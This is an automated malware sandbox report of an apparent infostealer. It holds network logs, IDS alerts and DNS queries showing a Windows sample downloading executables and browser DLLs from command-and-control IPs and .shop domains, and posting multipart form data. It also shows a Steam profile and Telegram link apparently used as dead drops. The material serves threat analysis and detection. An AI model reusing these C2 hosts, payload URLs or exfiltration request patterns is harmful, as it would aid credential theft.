name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="message"ybncbhylepme------BAKEBAFIIECBGCAAAAFC--
Source: global traffic	HTTP traffic detected: GET /prog/66e40b2e8a52e_lfsdj.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 2d 2d 0d 0a Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KKFCFBKFCFBFIDGCGDHJ--

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49721 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49727 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49726 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49725 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49723 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49724 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49728 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49729 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49730 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49732 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49731 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49733 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49734 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49737 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49738 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49736 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49742 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49741 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49740 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49739 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49745 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49743 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.6:49747 -> 159.69.100.83:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49748 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49754 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49756 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49758 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49749 -> 192.185.139.21:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49746 -> 192.185.139.21:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJEHCBAKFBFHJKFBKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 5317Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBAEHIJKJKEBFIEGHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 1025Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGIIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFBAKECAEGCBFIEGDGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 98573Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /shbwdh.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: brasstech.inCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vnfdamfs.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: brasstech.inCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: complainnykso.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: basedsymsotp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: charistmatwio.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grassemenwji.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stitchmiscpaew.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: commisionipwn.shop
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83
Source: unknown	TCP traffic detected without corresponding DNS query: 159.69.100.83

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00406000 InternetConnectA,HttpOpenRequestA,InternetSetOptionA,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,lstrlen,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

4_2_00406000

Source: global traffic	HTTP traffic detected: GET /edm0d HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 159.69.100.83Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /shbwdh.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: brasstech.inCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vnfdamfs.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: brasstech.inCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vnfdamfs.exe HTTP/1.1Host: brasstech.inRange: bytes=279943-If-Range: Sun, 15 Sep 2024 13:50:37 GMTCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66e40b2e8a52e_lfsdj.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache

Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.X equals www.youtube.com (Youtube)
Source: RegAsm.exe, 00000014.00000002.2911320361.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestor equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: brasstech.in
Source: global traffic	DNS traffic detected: DNS query: preachstrwnwjw.shop
Source: global traffic	DNS traffic detected: DNS query: complainnykso.shop
Source: global traffic	DNS traffic detected: DNS query: basedsymsotp.shop
Source: global traffic	DNS traffic detected: DNS query: charistmatwio.shop
Source: global traffic	DNS traffic detected: DNS query: grassemenwji.shop
Source: global traffic	DNS traffic detected: DNS query: ignoracndwko.shop
Source: global traffic	DNS traffic detected: DNS query: stitchmiscpaew.shop
Source: global traffic	DNS traffic detected: DNS query: commisionipwn.shop
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
